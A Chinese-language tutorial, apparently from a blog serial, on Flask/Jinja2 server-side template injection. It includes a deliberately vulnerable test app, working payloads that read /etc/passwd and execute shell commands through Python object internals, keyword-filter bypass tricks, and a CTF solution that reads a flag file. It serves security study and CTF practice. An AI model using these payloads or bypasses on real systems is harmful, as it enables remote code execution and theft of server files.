此文章为原创连载文章,关注公众号,持续更新。
SSTI基本判断
Python中的魔术方法
__dict__保存类实例或对象实例的属性变量键值对字典
__class__返回类实例或对象实例所属的对象
__mro__返回一个包含类或对象所继承的基类元组。方法在解析式按照元组的顺序解析,从自身所属类到<class'object'>。
__bases__返回类所继承的基类。但不包含所继承类的父类。
__init__类的初始化方法
__globals__对包含函数全局变量的引用
__subclasses__()获取一个类的子类,返回的是一个列表
下面是示例,自己可以运行一下看看,会理解的更快(我运行环境是3.7的)
代码语言:javascript复制class people:
name = ''
age = 0
__weight = 0
def __init__(self, n, a, w):
self.name = n
self.age = a
self.__weight = w
def speak(self):
pass
class student(people):
grade = ''
def __init__(self, n, a, w, g):
people.__init__(self, n, a, w)
self.grade = g
def speak(self):
pass
class speaker():
topic = ''
name = ''
def __init__(self, n, t):
self.name = n
self.topic = t
def speak(self):
pass
class sample(speaker, student):
a = ''
def __init__(self, n, a, w, g, t):
student.__init__(self, n, a, w, g)
speaker.__init__(self, n, t)
test = sample("Tim", 25, 80, 4, "Python")
#测试
代码语言:javascript复制print(test.__dict__)
print(test.__class__)
print(sample.__mro__)
print(sample.__bases__)
print(sample.__init__)
print(sample.speak.__globals__)
print(sample.__init__.__globals__)
print(speaker.__subclasses__())
print(sample.__subclasses__())
Python注入语句
以下语句均在python3.7.7环境中测试。
测试脚本:
代码语言:javascript复制# -*- coding:utf8 -*-
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/<str>')
def hello_world(str):
template = '''
{%% block body %%}
<div>
<h1>Here is test!!!</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
'''%(str)
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0')
1 获取基本类
首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如flask.request):
代码语言:javascript复制''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
2 文件读取
<class '_frozen_importlib._ModuleLock'>
代码语言:javascript复制{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}
上面的''.__class__.__mro__[1].__subclasses__()[75]等于
<class '_frozen_importlib._ModuleLock'>,下面同理。
<class 'click.utils.LazyFile'>
代码语言:javascript复制{{ ''.__class__.__mro__[1].__subclasses__()[345]('test.txt').read()}}
3 命令执行
<class 'warnings.catch_warnings'>
代码语言:javascript复制{{ ''.__class__.__mro__[1].__subclasses__()[183].__init__.__globals__.values()['eval']('__import__("os").popen('id').read()') }}
<class '_frozen_importlib._ModuleLock'>
代码语言:javascript复制''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:
代码语言:javascript复制#eval
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
代码注入
我们可以参考P神的文章(https://github.com/vulhub/vulhub/tree/master/flask/ssti)
p神构造的语句:
代码语言:javascript复制{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
其实我们我们也可以参考上面自己代码自己写。
在上面的注入语句中,虽然简短,但是在不同版本的python中就会有一下差别,所以不能完全的通用,但是代码注入这不需要太多考虑python版本问题。
比如我们可以把文件读取语句写成代码:
示例:
代码语言:javascript复制{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_ModuleLock' %}
{% for b in c.__init__.__globals__ %}
{%if b =='__builtins__' %}
{% print(c.__init__.__globals__['__builtins__']['open']('test.txt').read()) %}
{%endif%}
{% endfor %}
{% endif %}
{% endfor %}
自己可以动手试试。
常用绕过
1 过滤[]和.
只过滤[]
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
代码语言:javascript复制''.__class__.__mro__.__getitem__(1).__subclasses__().pop(40)('/etc/passwd').read()
若.也被过滤,使用原生JinJa2函数|attr()
将request.__class__改成request|attr("__class__")
2 过滤_
利用request.args属性
代码语言:javascript复制{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参
3 关键字过滤
(1) base64编码绕过
__getattribute__使用实例访问属性时,调用该方法
例如被过滤掉__class__关键词
代码语言:javascript复制{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
(2)字符串拼接绕过
代码语言:javascript复制{{[].__getattribute__('__c' 'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
(3)使用session
代码语言:javascript复制poc{{session['cla' 'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
代码语言:javascript复制{{session['__cla' 'ss__'].__mro__[12]}}
或者
代码语言:javascript复制request['__cl' 'ass__'].__mro__[12]}}
4 过滤{{
使用{% if ...%}1{% endif %},例如
代码语言:javascript复制{%if’’.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()%}1{% endif %}
5 Tips
(1)使用__base__
如`{}.__class__.__base__`
和`{}.__class__.__bases__[0]`效果一样
(2)可用于访问对象的属性:
代码语言:javascript复制request.__class__
request["__class__"]
request|attr("__class__")
(3)下面方法访问数组元素:
代码语言:javascript复制array[0]
array.pop(0)
array.__getitem__(2)
案例分析
案例是GYCT2020的FlaskAPP,可以到BUUCTF(https://buuoj.cn/challenges)中找到题目。
可以直接利用P神写的POC进行getshell,但有过滤,可以拆分关键词进行绕过:
代码语言:javascript复制{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva' 'l' in b.keys() %}
{{ b['eva' 'l']('__impor' 't__' '("o' 's")' '.pope' 'n' '("cat /this_is_the_fla' 'g.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
先对上面的POC进行base64加密再解密:
参考:
https://www.cnblogs.com/20175211lyz/p/11425368.html
https://xz.aliyun.com/t/3679#toc-11
https://www.smi1e.top/flask-jinja2-ssti-学习/